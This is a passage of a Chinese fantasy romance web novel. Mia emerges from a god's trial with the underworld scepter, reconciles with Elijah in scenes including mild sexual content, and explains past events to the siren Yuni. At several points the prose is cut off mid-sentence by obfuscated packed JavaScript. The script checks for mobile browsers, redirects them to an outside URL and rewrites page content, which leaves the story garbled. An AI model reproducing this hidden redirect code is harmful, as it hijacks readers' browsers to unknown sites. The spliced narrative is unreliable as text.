后来的试炼里,她要么很少回奥修斯岛,要么回来了也想着岛外的事,忽略了岛上的变化。 她真是犯了一个天大的错误,自以为对奥修斯岛,对海妖足够熟悉,以至于屡屡错过近在眼前的线索。 “这样比较省事。”人影淡淡地说,“解释很麻烦,你也未必信。” 米娅皱眉,对他而言,当然省事了,只需要一遍又一遍开启试炼,反正试炼中的这片世界不需要他来操控,他只需要看着。 不,连看着都可以省了,他只需要在外面等待结果。 “我知道您的身份之后,怎么会不信您呢?” 说是这么说,她转动了一下手腕,已经在计划着能不能对这道虚幻的影子造成伤害了。 “呵呵。”人影居然笑了。 随着这道机械般的笑声,米娅发现自己的手臂动不了了。 他就是这片空间的神,发现自己的小动作也很正常,米娅一点儿没觉得惊慌或者不好意思,又问:“尤妮口中的另一位神明,就是伊瑟尔吧?” 不久之前,她从尤妮口中,听到了一个有点儿不一样的海妖起源故事。 神明创造海妖一族的原因,和传闻中截然不同。 两千多年前,大地曾出现过与天空之劫类似的震颤,那次震颤持续时间很短,没有造成严重的后果,因此在人类的史书上仅仅寥寥数语,不引人注意。 其实,那次震颤很快就停止了,是被两位神明联手镇压了,其中一位神明就是奥洛,另一位,老祭司也没有告诉尤妮是谁。 在那之后,奥修斯岛从海底升起。 神明将神器埋入土壤之中,同时还有一个灵魂。 生命之树破土而出,海妖一族由此而来,那被放入神器的灵魂,也将在未来以海妖的身份诞生。 只有海妖一族的祭司知道这个故事,她们一代传一代,到了米娅这一代,老祭司却没有告诉她,只向她讲述了那个所有海妖都知道的故事。 人影没有回答她。 米娅已经习惯了他这时不时的沉默,自顾自地分析道:“赫尔西岛的上空就是曾经的永恒花园,奥修斯岛的上空没有云,它们又离得这么近,我是不是可以认为,另一位神明就在永恒花园上,他想时时刻刻都能看见奥修斯岛的情况,才让奥修斯岛上空永远晴朗?” 曾经能做到这一点的神明很多,但都死在了天空之劫里。 米娅也曾经去拜访过仅存的十神。 祂们见到她手中的权杖,对她知无不言。 可惜的是,祂们知道的,甚至还没米娅多。 幸存下来的十神,大部分都是在众神时代隐居的那种,祂们也不知道当年具体发生了什么。 “如果要说谁会知道点儿什么的话,只有可能是正义之神了。” 但是正义之神的行踪同样无人知晓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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米娅后知后觉,在那片黑色的空间里,他说话还断断续续的,好像随时会消失一样,怎么这会儿利索起来了。 “我只是一道残影,我的设定就是在不重要的时刻保存力量。”人影缓慢却流畅地说。 米娅吓了一跳,“你能听见我的心声?” 她想到了和以利亚刚进回忆中的时候,被别人听见心声,绝不是愉快的事情。 好在黑影摇了摇头,“我是看出来的。” “唉……”米娅很想白他一眼,想了想又忍住了,嘴角微扬,绽放一个完美的笑容,“我们还是说正事吧,你说对吗,海神大人?” “我不是祂,我只是祂的一道残影。” 人影一本正经地重复。 米娅笑得更甜,一边笑一边告诫自己,忍耐。 管他到底是不是祂,她对祂的尊敬和仰望,已经在寥寥数语中消磨殆尽了。 人影大概是感觉到她的不耐烦了,总算又说回了正题:“祂在离开之前,留下了冥界的权杖和这道试炼以及我,我遵从祂的意志,等待你的出现。” 米娅惊讶,“怎么听起来,海神大人从一开始就想把权杖给我?” 人影点头,“就是这样。” “啊?”米娅想不明白,“为什么?” 难道是看她支撑奥修斯岛这么多没有功劳也有苦劳? 米娅开始胡思乱想。 “因为以利亚一定会让你拿到权杖。” “这样吗……”米娅心里升起一股特殊的情绪,“为什么这么确定?” 人影又不说话了,他拒绝回答这个问题。 “好吧好吧。”米娅无奈,“等我出去,我自己去问他。” 人影继续说:“我的职责,就是引导你找到海妖一族的秘密。” 米娅听得直皱眉,“你那是引导吗,不就是一遍又一遍地让我迷失在虚假的未来里。” “真相只能你、自己寻找。”人影的声音中断了一下,然后,米娅看见他正在变得透明,人影也察觉到了自己的异常,加快了语速,“那些未来、虽然不是、真实发生的,但也不是虚假的。” “什么意思?难道就算出去了,我也会逐渐忘记他?”米娅忙问。 “我的力量、即将耗尽,最后一句,记住,你是谁……” 毫无感情的声音消散在空中,和那道逐渐消失的人影一起,风一吹就散了。 米娅慌忙去抓,只握住了一手空气。 77. 试炼(七) 试炼没有随着人影的消亡而停止。 米娅再次走过了很多地方,这一回的目的从寻找以利亚变成了弄明白海妖的来源,以及那个问题——她是谁。 这一世,她就是海妖没错。 她是谁这个问题,只能是说上一世了。 种种迹象表明,她很有可能就是那个神秘的灵魂。 可是白马又说,创世以后诞生的一切生物,包括神明,都在冥界的规则之内,死亡之后,都要在冥界中经历转世的过程。 如果只是个普通的灵魂,奥洛和伊瑟尔有必要特意弄出个奥修斯岛这么大费周章吗? 她需要更多的线索。 可惜,米娅找了很久,关于两千年前的消息比以利亚的还少。 她不得不承认人影的话,在这里找不到更多的答案了。 她要出去。 可是怎么才能出去,按理说,她这算是通过试炼了吧,难道不应该直接传送出去吗,怎么还在试炼里面。 她有些焦虑地看了眼右手,似乎只有那个办法了。 但要是和以前无数次一样,她该怎么办? 米娅犹豫了很久,将各种可能性都预演了个遍,当她意识到她又开始遗忘的时候,她终于动手了。 想将渗入血肉的图腾与手掌完全剥离是件难事,好在她已经尝试过无数次,总结出了一套快速的办法,三下两下就成功了。 剧痛也如往常一般袭来,又比从前每一次都更加凶猛。 米娅咬着牙想,再来几次,她真的会被痛死的。 额头不断冒出冷汗,身体却轻飘飘的。 周围的景象一变再变。 她似乎漂浮在高空上,俯视着熟悉的黑色草地,但人影不见了,萤火虫也不见了,只有权杖发着光向她飞过来。 又来一遍? 剧痛让她蜷缩成一团,像尚未出生的婴儿蜷缩在母亲子宫里的姿势,就连权杖融入她的身体也感受不到。 然后,她从半空中坠落。 一双手臂接住了她。 好冰冷的怀抱,有些熟悉的感觉,是以利亚吗? 她无力去分辨。 试炼中一遍又一遍的重复之后,她觉得自己已经很久很久没有见到他了,他也开始变得有些陌生。 但是真的好冷啊。 她皱起了眉。 下一瞬,冰冷的怀抱竟然开始变得温暖起来。 暖流在心头涌过,不仅抚平了她紧皱的眉头,也让无处不在的疼痛散去,她彻底放松下来,陷入了沉睡。 *** 米娅被吵醒了。 她睡了离开奥修斯岛后最舒服的一个觉,还做了一个很长的梦,虽然一醒来就忘了自己梦见了什么,但那一定是个美梦,因为她在镜中看见了自己嘴角残存的笑容。 痛楚都不见了。 想到痛楚,她总算想起了现在的处境。 她参加了奥洛留下的试炼,在试炼中一遍又一遍重复着未来。 最后,她再一次剥离了权杖,又得到了它。 笑容立即消失,米娅看向右手,权杖的图腾浮出掌心。 她终于出来了,还是仍在试炼中? 这一次的开头与每一次都不相同,她更愿意相信自己已经出来了。 有人敲门,米娅说了声“请进”,就见白马用头撞开门走了进来。 它水汪汪的大眼睛惊喜地盯着她。 米娅忍不住在心底默念:千万别说那句话,千万别说那句话,千万请别说那句话…… “以利亚大人果真没有骗我,您竟然……” “……真的成功了。”米娅绝望地躺下,看着天花板发呆,她现在明明精神饱满,依然涌起了深深的无力感。 白马惊讶不已,“您怎么知道我要说什么?” 米娅有气无力地闭上眼睛,“我还知道,你要说以利亚知道我会成功,已经回去了。” 她等待着白马的惊讶,一般这个时候,白马会觉得这是权杖的作用。 结果等了半天,白马却没什么反应,她睁开眼睛,侧过头一看,白马早就不知所踪,站在床边的,是另一道身影。 一道她已经很久没见过的身影。 她以为自己都快忘了他长什么样子了,可是一看到他,那些过去的时光就一幕幕浮现,又一幕幕褪色,最后只留下他。 “我一开始是这么打算的。” 以利亚端详着她,神情一如既往的高冷。 换了以前,米娅会不爽。 但此刻,再度见到他的喜悦冲淡了其他一切情绪。 以利亚顿了顿,看见她望着自己的眼神,感觉她的反应有些奇怪,余下的故作冷漠的话语还未说出口便消散了。 他坐到床边,伸手按在米娅右手手背上,淡淡的光点从指尖溢出,融进她白得近乎透明的肌肤里。 片刻后,以利亚收回手,除了多了个权杖,她的身体并无异常。 先前的昏迷似乎是试炼的副作用。 以利亚正要站起身,米娅抓住他的胳膊,仰起美丽的脸庞,微笑着看他,“一开始是这么打算的,后来为什么改变主意了?” 以利亚不说话。 米娅就知道他会是这反应,攀着他的手臂,慢慢坐了起来,挑眉道:“该不会是因为你担心我会出事,一定要亲眼看见我完好无损地出来,才能安心走吧。” 一遍又一遍的重复未来,不仅让她了解了许多世界的真相,而且让她能够轻易察觉到,潜藏在人们表面的情绪之下,更细微的心情。 说得简单点儿,她没那么好骗了。 这个人,明明就很关心她,偏要作出一副漠不关心的姿态。 “不是。” 都到这份上了,还不承认。 米娅笑了笑,“那是为什么?” 以利亚瞥她一眼,疑惑她前后的态度为何改变如此之彻底。 在她进试炼之前,她明显是一副不想见到他的样子。 “冥界的权杖如果不能平稳交接,会对冥界和现世造成难以预估的伤害。”以利亚平静地说道。 米娅听得出来,他没有说谎,但她也最清楚一个道理,如果把部分的事实当作全部,就真正中了他的圈套。 不过她决定还是先顺着他的话说。 “是这样么?”她垂下头,声音低落,仿佛因为他的话而神伤。 以利亚手指动了动。 米娅“看见”了,真正接受了权杖的她,对冥界发生的一切都有了更敏锐的感知,她的眼睛没有看见,身体却感知到以利亚轻微的动作。 她甚至可以想象到这个动作本该有的轨迹。 他会抱住她,将她揉进怀里,亲吻她的脸颊和嘴唇。 但他克制住了。 因为—— 米娅眼睛酸涩,过了一会儿,继续低声说:“你想不想知道,我在试炼中经历了什么?” 如果他真的冷漠,他就不会在意,反正试炼已经结束了,他的目的也达到了。 “是什么?” 他果然问了,伪装得再好,只要在乎,怎么可能不露出蛛丝马迹? 米娅抬起头,双臂环住他的脖子,慢慢靠近他,将额头抵住他的额头。 以利亚也说不清自己为什么没有反抗,也许是因为看见了她眼底闪烁的泪光,也许是因为黑色的藤蔓破土而出,锁住了他的双腿。 温暖的触感从额头上传来之际,那些沉重到令人无法呼吸的画面也涌入了脑海中。 她走过世界上无数个角落。 她蜷缩在黑色的草地上,呼喊他的名字。 她一次又一次遗忘,一次又一次承受权杖被剥离的痛苦。 …… 米娅也跟着回忆了一遍。 起初她还试图数一数自己究竟重复了多少次,没过几次就被复又涌上来的痛苦淹没。 仅仅是回忆一遍,就仿佛又经历了一番。 米娅脸色苍白,身体一软,双臂向下滑去,像极了刚从试炼中出来时的样子。 “米娅!” 眼皮很重,她无力地微闭着双眼,勉强支撑着自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245999|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次晕过去。 耳边传来以利亚担忧的低唤,伪装的冷漠消失不见,米娅听见他的声音中压抑的痛和惊慌。 他一手揽住她的腰,一手托住她的背,将她慢慢平放在床上,动作轻柔,仿佛捧着一盏易碎的瓷器。 “我没事……”米娅哑声道。 男人的手抚上了她的脸颊,拨开她额前的发丝别到耳后,米娅刚一开口,他就吻了上来,轻而易举勾缠着她的舌尖。 冰冰凉凉的感觉,却奇迹般将痛感都压了下去。 痛感一旦消失,别的感觉就占据了上风。 感到力气慢慢回来,米娅翻身将他压在身下,右手动了动,黑色的藤蔓爬上来,交织成网,将他们紧紧缠绕。 藤蔓分出细长的分枝,缠上男人的手腕脚腕。 “米娅,放开我。”以利亚动了动手腕,藤蔓慢慢收紧,阻止了他的进一步动作。 “别动。”米娅跨坐在他身上,有些气恼地叫道。 “嗯,我不动。”以利亚果然停住了,他静静地看着她,视线细细描摹她的眉眼,他温柔地笑了,“米娅,你想做什么呢?” 米娅垂眸,浓密的长睫掩住她眸中的神采,“我想知道,那些都是真的吗,以后,所有人都会逐渐忘记你,我也会忘了你。” 以利亚说:“你已经掌握了死亡的权柄,应该知道,死亡就是如此残酷。” “不,那不一样,别想糊弄我,你知道我的意思。” 死亡总是与遗忘相伴没错,但试炼中的情况明显不同,她不是随着时间流逝逐渐淡忘,而是他的一切痕迹,都从世界上抹去了。 他似乎从未存在过。 赫尔西岛的领主变成了莱森,黑骑士休伊是为了莱森留在赫尔西岛的,卡伦则是在黑骑士的拜托下成为赫尔西岛的文官。 如果只是改变她的记忆,改变他们几个的记忆,还可以说是那支羽毛笔的功劳,那么世界的记忆都被篡改了,在奥洛离开后,也只有他能做到了。 “渡水者失去力量的时候,是不是就是……” 她喉咙干涩,余下的话实在无法说出口,试炼中每次听到这个消息不久,她就开始遗忘他。 这个消息的时间是不固定的,最早的一次是八月,最晚是十二月,而且每次,都伴随着某个地方的一场爆炸。 以利亚轻轻地叹息了一声。 这是默认的意思。 “为什么要这么做?” 米娅不再执着于那是不是以后会发生的事情,她已经可以确信,那就是以利亚的“杰作”。 “我认为……这样更好。” “哪里好了?”米娅的眼泪落了下来,“你是不是觉得,你死了之后,只要我忘记了你,我就能开心?” 她攥紧他的衣服,“就算要忘,也应该是我的选择,我放下你了,自然就忘了,而不是强行让我忘了你,那我怎么会甘心呢?” “我明白了。”以利亚低声说。 见过试炼中的未来后,他知道自己错得离谱,如他所愿,米娅忘了他,却无时无刻不想记起他,为此不惜伤害自己。 幸好,还来得及。 “我不会这么做了。” 话音刚落,米娅温热的指尖落在他的嘴唇上。 她的眼中还有泪光,眼神却无比坚定,“不仅如此,剩下的时间,你不许再赶我走。” 以利亚含住她的手指,细细舔舐她的指腹,米娅一颤,赶紧收回手。 “我没有赶你走。”男人望着她笑。 米娅羞恼,“你说的,让我回奥修斯岛,还不准我出来。” 以利亚眉间染上一抹失落,“我给了你选择的机会,你选择了回去。” “我什么时候选择回去了?”米娅眨了眨眼睛,茫然地看着他,忽然反应过来,噗嗤一声笑了,“十一年前的事,我还想找你问个清楚呢,怎么会选择回去,那不是因为感应到奥修斯岛出事了,才不得不回去嘛。” 米娅俯低上半身,指尖在他锁骨上划圈,坏笑着问:“看到我走了,你是不是伤心了?” 78. 相守(一) 以利亚很久没回答。 米娅不自觉将全身的重量都压在了他身上,因为她现在是灵魂状态,那重量很轻,像一团柔软的棉花。 然而他们的接触是真实的,不管是肌肤相触的温暖,还是呼吸的气流。 他应该忽略这些,他痛心于米娅在试炼中的遭遇,懊悔自己没能预料到。 愧疚和自责从米娅出试炼的那一瞬持续到现在,直到米娅总是动来动去,无意识地点燃□□,偏偏她自己看起来全无察觉。 以利亚喉结动了动,眼神愈发幽暗。 但他动弹不得。 藤蔓由权杖幻化而出,听从主人的意志,牢牢地将他束缚住。 权杖的力量来自冥界,他们又身处冥界,他可以挣脱藤蔓,但可能会伤到米娅,那是他最不愿见到的。 他轻轻地笑,声音清润,像上好的玉石,“是。” 他承认了。 米娅没想到他居然承认了,反倒不知道该如何反应,只觉得他的声音有种说不出的魅惑。 “米娅,我不会离开了,放开我吧。” 他的眼神也格外滚烫。 米娅愣了一下,笑容更加肆意。 他们同床共枕也不是一次两次,她难道还看不出来他的意思么。 “不放。”米娅给了他一个你也有今天的眼神。 “真的吗?别后悔哦。”以利亚笑着说。 嘁,都这时候了,还威胁我,米娅撇了撇嘴,不理会他,攀着他的肩膀,往前面坐了一点儿,然后俯身亲在他的嘴角。 亲歪了。 这个姿势也太累了,她想着,稍稍挪动了一下身体,刚一动,以利亚就偏过头衔住了她的嘴唇,轻柔地亲吻她。 很轻很轻的吻,不含一点儿情欲。 温柔得让人想哭。 米娅失神片刻。 然后—— 然后她就被按住了。 米娅尖叫,“你怎么出来了?” 藤蔓呢?怎么失效了? “因为你走神了。” 以利亚按住那不盈一握的纤腰,没急着下一步动作,依旧轻柔地亲吻她,感觉到她的身躯在自己掌心软成了一滩水。 他在亲吻的间隙说:“面对强敌,瞬间的失神也会落于下风。” 哪有人自己说自己是强敌的? 米娅佩服他这时候还能一本正经地解释。 “我错了,饶了我吧。”她能屈能伸,迅速求饶。 一边说着,右手悄悄合拢,权杖的图腾一闪一闪,似乎随时都会跳出来。 再等等,一定有机会的。 正想着,以利亚抓住了她的右手,掌心相对,十指相扣,将她的手掌拉到头顶的位置,好整以暇地看着她脸色变得通红。 “来吧。”她强迫自己镇静下来,扬起下巴,伸长了脖子说道。 自己点燃的火,还得自己来灭。 她早有觉悟,就是这个状况跟她想象得太不一样了,难道不应该她来主导,他求着她这样那样的吗? 上个床被她说的像要去慷慨就义似的,以利亚哭笑不得,埋首在她修长白皙的脖子上,低低地笑,笑过之后,侵占性十足的吻落在她的脖子上和锁骨上。 米娅弓着腰,感觉有点儿难以承受。 他的呼吸、他的动作和自己的感官都像被放大了数倍,他的指尖划过沟壑,掠过平坦的原野,嵌入幽深的峡谷,每一下动作,都能激起她深深的颤栗。 她很快丢盔卸甲,失神地望着头顶纱帐的花纹,想起来一个早被她抛在脑后的知识。 灵魂体的感官比□□更敏感。 米娅害怕了,她不住地往后缩,抗拒地推他。 以利亚停下来,疑惑地看着她。 米娅涨红了脸,不知该怎么说,难道要她亲口承认,她现在都已经受不了了,要是动真格的,只怕会晕过去? 那也太丢脸了。 以利亚叹了口气,善解人意地说:“不愿意么?我明白,我伤了你太深,我不会强迫你,等你什么时候愿意了再……” 米娅更不愿见他这副模样,疯狂地摇头,发现他根本不看自己,心一横,凑近他的脸胡乱地吻了一通。 “不是不是。”她连连否认,急中生智说,“别在这里,我不喜欢在这里,我们回去,回人间去。” “好。”以利亚低声应道,也不知道信没信。 眼前一阵光芒闪过,米娅落在一张更柔软的床榻上,身体的重量重新回来,很奇妙的感觉,就像从海水中回到陆地上。 她真的回来了。 从冥界回到了人间。 以利亚坐在床边,握着她的手腕,和她一起睁开了眼睛,他挡住了大部分视野,但米娅还是看到了,靠墙的熟悉的衣柜,以及熟悉的彩绘玻璃。 她在奥修斯岛陷入沉睡时被白马带到冥界,却在赫特高塔的阁楼中醒来。 米娅隐隐觉得不对,但眼下的情况容不得她多想。 为了显示她绝对没有拒绝他的意思,她当机立断,拽着他的衣领将他拉下来。 以利亚似乎想说什么,还没说出口,米娅已经堵住了他的嘴,手也不安分地乱摸,弄皱了他一丝不苟的衣服。 她很想念他,想了很久很久。 “米娅,等等……” “不要……” 话未说完,房间里突然响起了连续的两道声音,第一道是什么东西撞到桌子的沉闷响声,第二道是花瓶掉到地上碎裂的声音。 清脆响亮,吓了米娅一跳。 她循声看去,长发飘飘的海妖少女捂着嘴,神情震惊地看着他们。 尤妮?! 她怎么在这?! 米娅脑子一片空白,看看身前的男人,又看看不远处惊讶到失语的少女,一时不知该作何反应。 以利亚比她淡定多了,他搂着她坐了起来,贴心地将她凌乱的衣裙抚平,解释道:“你在冥界的那一个月,海妖们见你一直昏迷不醒,想了很多办法都没用,最后她们找到了我这里。” 说到此处,以利亚无声笑了笑,“她们还以为,是我害了你。” “一个月?”米娅喃喃重复,总算找回了自己的意识。 她想起来了,那个时候她以为冥界和人间的时间流速不同,觉得自己在冥界待个一两个月,在外面看起来只是睡了一觉。 得到权杖之后,她已经知道冥界和人间的时间流速是相同的,以前的异常,只是因为涉及以利亚。 但纷纷扰扰的思绪太多,她完全忘了这个误解会带来怎样的后果。 “尤妮,抱歉,让你们担心了。” 米娅走过去。 海妖少女却面露惊恐,不住地后退,抗拒她的接近。 她刚刚看到了人生中最难以置信的画面。 带着昏迷的米娅来向仇人求救,已经让她感到十分憋屈。 米娅醒来之后,竟然投进了敌人的怀抱,更让她无法接受。 而且她看得清清楚楚,自己敬爱的米娅姐姐不是被迫的,甚至是主动的那一方。 唯一能让她服气的解释是,米娅还没有放弃原来的计划。 想到这里,尤妮眼中又燃起了希望,“米娅姐姐,你是不是要杀了他?不、不需要你这样牺牲,我们、我们联手,一定可以——” 说得磕磕绊绊,她自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259220|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不信。 米娅感到难过,再次说道:“尤妮,对不起。” “我不要听对不起!”尤妮尖叫一声张开双翼,气流将家具吹得东倒西歪,她看着米娅,固执地邀请她,“站到我这边来,我们一起对付他。” 米娅低垂着眼不说话。 以利亚神色微冷,食指向上一抬,一切还原,再轻轻勾起,尤妮的双翼连同她的力量不受控制地消失。 “我不会允许发生这种事情。” 以利亚缓缓走过来,脚步声干净规律。 “你做了什么?”尤妮对他龇牙。 她想冲过去拉住米娅,眼前却竖起了一道无形的屏障。 尤妮双手握拳,狠狠敲打着无形的屏障。 以利亚歪头看米娅,“需要我让她冷静一下吗?” 米娅缓缓摇头,握住他的手,捏了捏他的掌心,“我来跟她说。” 以利亚点头,身影一晃,从阁楼中消失。 与此同时,无形的屏障也跟着他一起消失,尤妮向前一个趔趄,险些扑倒在地上。 “小心。”米娅接住了她。 尤妮一把推开她,“才不要你管。” 她抬起头,恶狠狠地盯着米娅,“亏我还在她们面前为你说话,原来你真的跟她们说的一样,背叛了我们。” 一个她们,一个我们,泾渭分明。 米娅神情苦涩,半晌没有说话。 尤妮更焦躁了,“为什么不反驳我?” 内心里,她还是希望米娅能反驳她,告诉她事情不是这样的。 米娅艰难地开口,“我没有背叛你们,不过,我的确辜负了你们。” “什么意思?”尤妮双臂抱在胸前。 米娅叹息一声,她忘了,现在站在自己面前的,不是后来那个经历了许多事情,冷静成熟的尤妮,而是最初的那个,单纯天真的海妖少女。 “传闻是假的,海妖捕杀令跟他没有关系。” 最初对这件事起疑,是第一次试炼里,以利亚在世上存在过的痕迹消失后,莱森成了那个传说中推动海妖捕杀令的赫尔西岛领主。 不似以利亚一般冷漠,莱森愿意与她们交谈,米娅由此知道,推动此事的是莱森的父亲雅克亲王。 米娅不禁怀疑,六年前发布的海妖捕杀令也有隐情。 后来的某次试炼中,她趁自己还没忘记以利亚,提前去了绿恩岛,从还活着的雅克亲王那里“问”到了真相。 事实上,十一年前,以利亚救走罗尔之后消失了六年。 皇室对外宣称他在赫尔西岛,不过是因为太害怕他了,一种向他释放友好信息的手段。 后来皇室发现他好像真的一点儿消息也没有了,以为他已经死了,才用他的名义开始行事,海妖捕杀令由此而来。 但是五年前,以利亚突然回来了。 他接受了领主这一职位,和皇室做了交易,他可以不追究以前的事,但是皇室也不能再插手赫尔西岛。 皇室唯一的要求是,让海妖捕杀令继续执行。 以利亚没有拒绝的理由,彼时海妖已经都回了奥修斯岛,海妖猎人想再抓到海妖比登天还难,他只当他们是一场笑话。 尤妮听了,根本不信,恨铁不成钢地说:“是你告诉我的,人类不可信,你还要被他们再骗一次吗?” 察觉到尤妮没那么抗拒了,米娅干笑,“哪里来的再?” 尤妮哼了一声,“你忘了那个离开奥修斯岛就再也没回来的人类了吗?” 说到这就更尴尬了。 米娅都有点儿不好意思看她了,“其实,他们是同一个人。” “什么?!!!” 79. 相守(二) 米娅解释了很久,尤妮才明白过来在她身上发生了什么事情。 也不怪她反应不过来,米娅自己直到此刻仍觉得不可思议,而且其中还有很多秘密,是她不曾解开的。 海妖少女睁着明亮的眸子,眼神却无比茫然。 她似懂非懂,脑海中闪过很多念头,最后又只剩下了一个问题。 “你还回去吗?” “回去。”米娅抿唇笑了,笑容中却透露出难以抑制的悲伤,“过几个月我就回去。” 尤妮觉得自己应该高兴才对,但她实在笑不出来,不久之前,她还很讨厌以利亚,听到以利亚快死了的消息,她很高兴。 可是现在呢,知道他就是那个人类哥哥,让她对他的感情一下复杂起来,而确认了海妖捕杀令与他无关,多年的恨意突然转换了目标,她更加无所适从。 更何况,米娅爱着那个人。 他死了,她一定会很伤心。 尤妮不想看到她伤心的样子。 “你真的会回来吗?”尤妮重复着同样的问题。 她的心扑通扑通跳得很快,总有种不好的预感。 米娅握住她的手,向她承诺,“我一定会回去。” 尤妮木讷地点点头,“那我先回去了。” 她还是不习惯待在人类的地盘。 米娅微笑着将她送到海边,离开了高塔的范围,以利亚的压制消失,尤妮又能展开双翼,脚踏在沙滩上,海水没过了她的小腿。 她在朝阳的照耀下回头,表情像要哭了一样,“真的没有别的办法了吗?” 她不在意以利亚的生死,她甚至觉得,就让米娅忘了那个人类,跟她回奥修斯岛去是最好的办法。 只是米娅一定不会同意,她也就没说出口。 直到海妖少女的身影潜入海水中,于影影绰绰的浪花中消失无踪,米娅依然在想着她最后的问题。 “真的没有别的办法了吗?” 她重复了一遍,也是拿这个问题问以利亚。 以利亚的身形渐渐浮现。 他一直都在。 以利亚安静地与她对视,米娅注意到他眸中的红色越来越多,几乎要将棕色淹没殆尽。 “你现在究竟算是以利亚还是伊瑟尔呢?”米娅又问。 “我们并无不同。”以利亚执起她的手,在白皙的手背上印下一吻,他的吻温柔,他的手掌也温暖。 赫尔西岛的海岸线曲折漫长,他们沿着海岸线缓缓向前走,聊起了慕斐岛上发生的种种,以及风灵节那个夜晚。 一切变故由此而起。 以利亚说:“在慕斐岛上,另一个我离开后,我陷入了沉睡……” 冰川自动聚拢,将他冰封。 罗尔隔着冰层感觉到了微弱的呼吸和心跳,相信他终有一天能醒过来,就在慕斐岛凿了个冰屋守着他。 一守就是六年。 大约在第五年的时候,他的意识就苏醒了,他能听到外界的声音,感觉到罗尔时不时沉默地坐在旁边。 但他出不来。 还不是时候,沉眠是一种恢复机制,提前出来,他控制不住体内多出来的神力。 “那时我不明白,自己为何会提前苏醒,现在想来,恐怕是因为我们的约定。” 但他还是失约了。 不仅因为出不去,更因为他已经忘记了她,忘记了有一个海妖少女在等他。 他记得自己收到了罗尔的求救信号,记得自己带着罗尔来到了慕斐岛,也记得在地心得知世界将要崩塌。 不止如此,三千年前的自己离开之时,也留下了礼物——祂的记忆。 米娅惊讶,“原来从那个时候起,你就已经拥有前世的记忆了,难怪你说你们并无差别。” 想了想又觉得不对,“另一个你来自三千年前,那不是还有三千年的记忆空缺?” 就算除去天空之劫后的两百年,也有两千八百年。 “当时是这样。” 当时?米娅挑眉,看来现在是全都记起来了。 总之,后来以利亚果然选择了牺牲自己。 第六年,他从冰川中出来,和罗尔一起回到了赫尔西岛。 回去的路上,他们遇见被人追杀的卡伦,顺手救了卡伦,卡伦得知他们的身份,非要跟着他们。 那个时候,以利亚已经知道了皇室利用他的名义做的那些事情,回去不过是想制止他们。 “不止吧。”米娅停住脚步,笑着看他,“你在担心莱森,雅克为了渡水者的力量已经疯魔了,他能对罗尔下手,怎么不可能对莱森下手。” 以利亚不说话了。 米娅抱住他,“为什么不告诉莱森真相?” 想想莱森对以利亚的态度,真和自己当初差不多,既怕他又恨他,可是又忍不住在意他。 所以米娅特别理解莱森。 “告诉他有什么用?”以利亚似乎不想在这个时候提起莱森,他揽过米娅的腰,抚摸她的长发,低头亲吻她。 米娅无奈。 她和莱森还真是同病相怜,要不是以利亚看见了试炼中她忘记他后的决绝,一定还会继续瞒着她。 “我觉得……你应该……告诉他。”米娅在亲吻的间隙说,“为什么要……带着别人的误解……而死呢?” 落在唇上的吻愈发热烈,吻得她快呼吸不过来。 他是在报复自己的不专心吗? 米娅想着,发现自己回到了阁楼上。 她向后退去,小腿碰到了床沿,不受控制地向后跌去,以利亚始终抱着她,手放在她的脑后,将一切有可能的磕碰都避开。 米娅注意到了,眼眶发涩。 “米娅……”以利亚注意到她的异常,细细描摹她的眉眼。 米娅扬起一个妩媚的笑,“别担心我,我才不会扫兴,在这时候哭。” 以利亚低声笑道:“是,可以留到待会儿。” 米娅脸一红,狠狠地瞪他一眼,她想说“你大可以试试自己有没有这个本事”,但是为了自己着想,憋住了没说。 她也是发现了,男人看着一本正经的,却总是在意想不到的时候,说一些让她招架不住的话。 她要先下手为强。 米娅迎上去,双腿屈起勾在他腰间,一言不发地解开他外套上的扣子,和他们在赫尔西岛的监狱时见面时很相似的一套衣服,细节之处略有不同。 她记得很清楚。 以前记得是因为终于见到了传说中的仇人,恨不得将他刻进心里,时不时拿出来唾弃一番。 现在终于可以承认,她其实被他惊艳到了。 他拥有令人艳羡的好皮囊,冷淡的神情更让人忍不住想要攀折。 所以说,她两次栽到他手里,一点儿都不冤枉。 身上的束缚一层层解开,无论是她的还是他的。 阳光透出彩绘玻璃照射进来,也成了五彩斑斓的颜色,点缀在他们身上。 以利亚垂眸看她,他们不约而同地想到了那一天。 是重逢,也是初见。 她有一双很美很美的眼眸,在那样凄凉的夜里,也闪着特殊的光芒,是他接受了既定的命运之后,会觉得刺眼的光芒。 也许,当时对她的关注,也有想知道这光芒何时会被磨灭的阴暗想法。 他一直没能见到,他开始希望自己永远也见不到这一天。 然而,他还是见到了。 试炼中,每一次试炼的尽头,她舍弃权杖,只为了想起他的时候。 “米娅——” 他停住了所有动作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 